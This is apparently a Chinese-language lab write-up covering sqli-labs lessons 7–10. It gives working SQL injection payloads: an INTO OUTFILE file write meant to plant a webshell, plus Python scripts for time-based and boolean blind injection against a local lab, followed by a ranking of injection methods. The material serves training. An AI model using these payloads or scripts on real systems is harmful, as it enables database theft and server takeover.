sqli-labs笔记 less 7
导出文件注入,方法是构造一句话木马后,访问文件。 需要知道文件的位置。
两个变量 @@datadir
数据库路径 @@basedir
MYSQL安装路径。
经教程提醒,最好先用本地数据库试一下。
https://www.cnblogs.com/omnis/p/8315087.html
在my.ini文件[mysqld]的后面加上secure_file_priv=‘’ 设置为不对mysqld的导入导出做限制,默认为null是限制为不允许,若设置为路径,则只允许该路径下导入导出。
构造指令?id=1')) union select version(),user(),database() into outfile '..../xx.php'%23
其中的…/ 应为上面的@@datadir位置。
虽然仍提示报错,但已经将信息写入文件。
sqli-labs笔记 less 8
观察源文件发现 print_r(mysql_error());部分被注释掉。也就是说不能用报错注入。
可以用延时注入。这里我自己写了一个脚本,专门用来跑这种延时注入。设计的比较简单,日后再完善。
延时注入脚本:
import requests
#爆破小写字母
#核心思路是利用sql语句 if(ascii(substr(xx爆破目标xx, num , 1)) = xx),对目标的每个字母进行爆破。
# 如果正确就延时5秒,错误就立刻返回。通过对返回时间的不同,汇聚答案。
# r.elapsed.total_seconds() 可以获取返回时间。
def breakoneword(url1,url2):
for i in range(97,123):
a = chr(i)
print(a)
r = requests.get(url=url1+str(i)+url2)
if(r.elapsed.total_seconds() > 5):
return a
return 0
def main():
answer = ''
num = 1
# url1 = 'http://127.0.0.1/sqli-labs-master/Less-8/?id=1%27%20and%20if(ascii(substr(database(),'+str(num)+',1))='
# 此处需要url1 动态改变,所以不再这里赋值
url2 = ',sleep(5),1)--+'
a = breakoneword('http://127.0.0.1/sqli-labs-master/Less-8/?id=1%27%20and%20if(ascii(substr(database(),'+str(num)+',1))=', url2)
while(a):
answer += a
num += 1
print(str(num),'answer is :', answer)
a = breakoneword('http://127.0.0.1/sqli-labs-master/Less-8/?id=1%27%20and%20if(ascii(substr(database(),'+str(num)+',1))=', url2)
print('爆破完成,答案为:',answer)
if __name__ == '__main__':
main()
函数结果:
后面答案,类似。慢慢跑就行。有标点符号的话需要改一下函数里面的range范围,现在的范围是a-z。范围大一点可以包含更多
此处借鉴博客:
(延时注入:)https://blog.csdn.net/qq_44105778/article/details/86926128
(文件上传注入:)https://blog.csdn.net/sdb5858874/article/details/80727555
然而,本题的题目为blind boolian based,即布尔盲注。抱着学习的态度。再用布尔做一遍
思考: 事实上这道题确实有很多方法。不是bug。而是在方法的使用上面存在优先级。具体见后面的总结。
盲注的技巧:
上面我自己写的函数,里面存在一些值得修改的地方。
- 截断函数处有两种方法:
ascii(substr(database(),2,1)) 得到第二个位置的一个字母。
left(database(),2) 得到从左数前两个位置的字母。
两者没有好坏之分,第二个相对简洁。 - 验证相等的位置有两种方法:
直接判断相等,时间复杂度是o(n)
二分法,时间复杂度是o(log(n))
在范围小时候差别不大,范围大起来二分法会快很多。若一万的范围,直接判断平均是5000次,二分法是14次。
布尔注入脚本(修改了判断函数):
import requests
#动态url ,num为截断到database()的位置数,answer已经解出的答案,a当前判断的字母
#url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left(database(),"+ str(num)+")='"+ answer + a +"'%23"
#之前使用函数解耦过了,这个选择循环直接做。偷懒 简单,但不易修改。
num = 1
answer = ''
while(1):
for i in range(97,123):
a = chr(i)
print(a)
url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left(database(),"+ str(num)+")='"+ answer + a +"'%23"
r = requests.get(url=url)
#判断语句根据实际情况来考虑
if(r.text.split('<font size="5" color="#FFFF00">')[1].split("<br>")[0] == "You are in..........."):
answer += a
num += 1
print('i find it : -> ', a)
print(answer, num)
break
else:
print('爆破完成,答案为:',answer)
break
函数结果:
上面的方法是直接判断,二分法只写了算法,没有用进去,也贴过来了。
二分法代码(dichotomy)
# 用的是递归的思路,对Key值进行二分法判断,check函数相当于布尔盲注时候的页面回显,如果是>=就返回1,<=返回0。 dichotomy即为算法,递归直至找到key。
#有一个bug就是二分法在判断的时候,因为结果取得是右端点,所以如果key就是范围的左端点,那么就取不到了。
#此时应该吧左值调的够小。比如判断小写字母时范围是97-123.那就把范围改成96-123即可。。
key = 97
#检测大于的函数,大于1 小于0
def check(num):
if(num >= key):
return 1
else:
return 0
def dichotomy(l,r):
if(r-l == 1):
return r
x = (l+r-(l+r)%2)/2 # 奇数取中间点,偶数取左端点
if(check(x)):
return dichotomy(l,x)
else:
return dichotomy(x,r)
print(int(dichotomy(96,123)))
sqli-labs笔记 less 9
利用延时注入即可,代码同less 8
sqli-labs笔记 less 10
改为双引号的延时注入,代码同less 8
以上1-10做完了,相当于sql注入刚刚入门。
总结
做完发现,1-10是个难度加大的过程,最开始公布的信息最多,方法就最简单,但在实际操作中这样的漏洞就越少。到后面禁止回显,禁止文件上传权限,禁止页面返回正确和错误,禁止函数sleep()等。方法越复杂,能够找到的漏洞也会更多。
目前认为,方法排序是:
有回显直接用回显注入:(单引号判断注入点,order by, union select)
没有回显用报错注入:(双查找引发count(*)重复报错,updataxml()/extractvalue()等函数直接报错,可能会被屏蔽报错函数)
利用文件上传:(构造一句话,利用菜刀进入后台,可能会找不到文件位置,或者没有上传权限等)
利用布尔盲注:(需要页面可以回答正确和错误(可以利用 or and来判断),即利用页面的bool回显来搜索值。如果页面并不能回显正确和错误,只能用延时注入)
利用延时注入:(需要枚举跑脚本,速度最慢,但一般都可行。)